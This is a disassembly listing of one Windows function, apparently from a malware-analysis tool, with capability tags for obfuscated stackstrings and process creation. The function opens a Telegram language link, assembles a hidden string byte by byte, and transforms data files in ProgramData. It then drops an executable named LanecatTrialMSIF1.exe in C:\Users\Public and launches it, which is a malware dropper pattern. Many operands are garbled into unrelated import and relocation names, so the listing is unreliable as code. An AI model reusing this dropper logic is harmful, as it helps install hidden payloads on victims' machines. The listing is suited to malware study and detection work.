Function at 0x140004df0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x2d8
mov rax, qword [0x140256080]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov dword [rsp + 0x100], 8
mov dword [rsp + 0x104], 0xff
lea rcx, [rsp + 0x100]
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov r8d, 0x104
lea rdx, [rsp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x180]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rdx, rax
lea rcx, [0x1401be994]
call fcn.140155368
lea rdx, [0x1401be998]
lea rcx, [rsp + 0x180]
call fcn.140005460
test rax, rax
je 0x140004f54
lea rax, str.tg:__setlanguage_l
mov qword [rsp + 0x298], rax
lea rax, str.angclassic_zh_cn
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x2a0], 0
mov rcx, qword [rsp + 0x298]
call fcn.140154000
mov qword [rsp + 0x2b8], rax
mov rcx, qword [rsp + 0x290]
call fcn.140154000
mov rcx, qword [rsp + 0x2b8]
lea rax, [rcx + rax + 1]
mov rcx, rax
call fcn.1400133f4
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x2a0]
call fcn.1401552b0
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x2a0]
call fcn.140155210
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x1401be989]
mov r8, qword [rsp + 0x2a0]
lea rdx, [0x1401be9cc]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rsp + 0x108], 0x66
mov byte [rsp + 0x109], VarBstrFromDisp
mov byte [rsp + 0x10a], VarBstrFromDisp
mov byte [rsp + 0x10b], 0x66
mov byte [rsp + 0x10c], VarBstrFromDisp
mov byte [rsp + 0x10d], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x10e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x10f], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x110], 0x66
mov byte [rsp + 0x111], 0x67
mov byte [rsp + 0x112], 0x65
mov byte [rsp + 0x113], 0x79
mov byte [rsp + 0x114], gethostname
mov byte [rsp + 0x115], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x116], 0x61
mov byte [rsp + 0x117], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x118], 0x67
mov byte [rsp + 0x119], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x11a], 0
mov byte [rsp + 0x120], WSAGetLastError
mov byte [rsp + 0x121], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x122], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x123], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x124], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x125], Ordinal_60
mov byte [rsp + 0x126], Ordinal_50
mov byte [rsp + 0x127], Ordinal_50
mov byte [rsp + 0x128], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x129], VarBstrFromDisp
mov byte [rsp + 0x12a], 0x77
mov byte [rsp + 0x12b], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x12c], 0x63
mov byte [rsp + reloc.WLDAP32.dll_Ordinal_301], 0x63
mov byte [rsp + 0x12e], Ordinal_50
mov byte [rsp + 0x12f], Ordinal_50
mov byte [rsp + 0x130], 0x64
mov byte [rsp + 0x131], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x132], 0x76
mov byte [rsp + 0x133], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x134], VarBstrFromDisp
mov byte [rsp + 0x135], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x136], 0x3f
mov byte [rsp + 0x137], 0x75
mov byte [rsp + 0x138], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x139], VarBstrFromDisp
mov byte [rsp + 0x13a], 0x3d
mov byte [rsp + 0x13b], WSAGetLastError
mov byte [rsp + 0x13c], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x13d], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x13e], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x13f], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x140], Ordinal_60
mov byte [rsp + 0x141], Ordinal_50
mov byte [rsp + 0x142], Ordinal_50
mov byte [rsp + 0x143], Ordinal_50
mov byte [rsp + 0x144], 0x64
mov byte [rsp + 0x145], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x146], 0x76
mov byte [rsp + 0x147], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x148], VarBstrFromDisp
mov byte [rsp + 0x149], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x14a], Ordinal_50
mov byte [rsp + 0x14b], 0x75
mov byte [rsp + 0x14c], Ordinal_50
mov byte [rsp + 0x14d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x14e], reloc.WLDAP32.dll_Ordinal_33
mov byte [rsp + 0x14f], 0x41
mov byte [rsp + 0x150], VarBstrFromDisp
mov byte [rsp + 0x151], 0x46
mov byte [rsp + 0x152], 0x50
mov byte [rsp + 0x153], 0x46
mov byte [rsp + 0x154], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x155], 0x5a
mov byte [rsp + 0x156], reloc.WLDAP32.dll_Ordinal_79
mov byte [rsp + 0x157], 0x64
mov byte [rsp + 0x158], gethostname
mov byte [rsp + 0x159], 0x77
mov byte [rsp + 0x15a], 0x41
mov byte [rsp + 0x15b], 0x67
mov byte [rsp + 0x15c], VarBstrFromDisp
mov byte [rsp + 0x15d], WSAGetLastError
mov byte [rsp + 0x15e], 0x5a
mov byte [rsp + 0x15f], gethostname
mov byte [rsp + 0x160], 0x75
mov byte [rsp + 0x161], 0x62
mov byte [rsp + 0x162], 0x79
mov byte [rsp + 0x163], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x164], 0x63
mov byte [rsp + 0x165], 0x75
mov byte [rsp + 0x166], VarBstrFromDisp
mov byte [rsp + 0x167], 0x44
mov byte [rsp + 0x168], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x169], gethostname
mov byte [rsp + 0x16a], VarBstrFromDisp
mov byte [rsp + 0x16b], 0x3f
mov byte [rsp + 0x16c], 0x65
mov byte [rsp + 0x16d], 0x3d
mov byte [rsp + 0x16e], 0x77
mov byte [rsp + 0x16f], 0x44
mov byte [rsp + 0x170], VarBstrFromDisp
mov byte [rsp + 0x171], 0x56
mov byte [rsp + 0x172], 0x43
mov byte [rsp + 0x173], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x174], 0
lea rcx, [rsp + 0x90]
call fcn.140001e10
lea rdx, str.C:ProgramData_ntg.dat
lea rcx, [rsp + 0x38]
call fcn.1400023e0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x60]
call fcn.1400023e0
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.140002100
lea rcx, [rsp + 0x60]
call fcn.140002440
lea rcx, [rsp + 0x38]
call fcn.140002440
lea rcx, [rsp + 0x90]
call fcn.140001ed0
lea r8, [rsp + 0x108]
lea rdx, str.C:ProgramData_sbs.dat
lea rcx, str.C:ProgramData_ntg.dat
call fcn.140004ce0
lea rdx, str.C:ProgramData_sbs.dat
lea rcx, str.C:UsersPublic
call fcn.140004b70
lea rdx, str.LanecatTrialMSIF1.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x1401be98a]
lea r8, str.C:UsersPublic
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x2b0], 1
lea rcx, [rsp + 0x90]
call fcn.140001e80
mov eax, dword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.140153af0
add rsp, 0x2d8
ret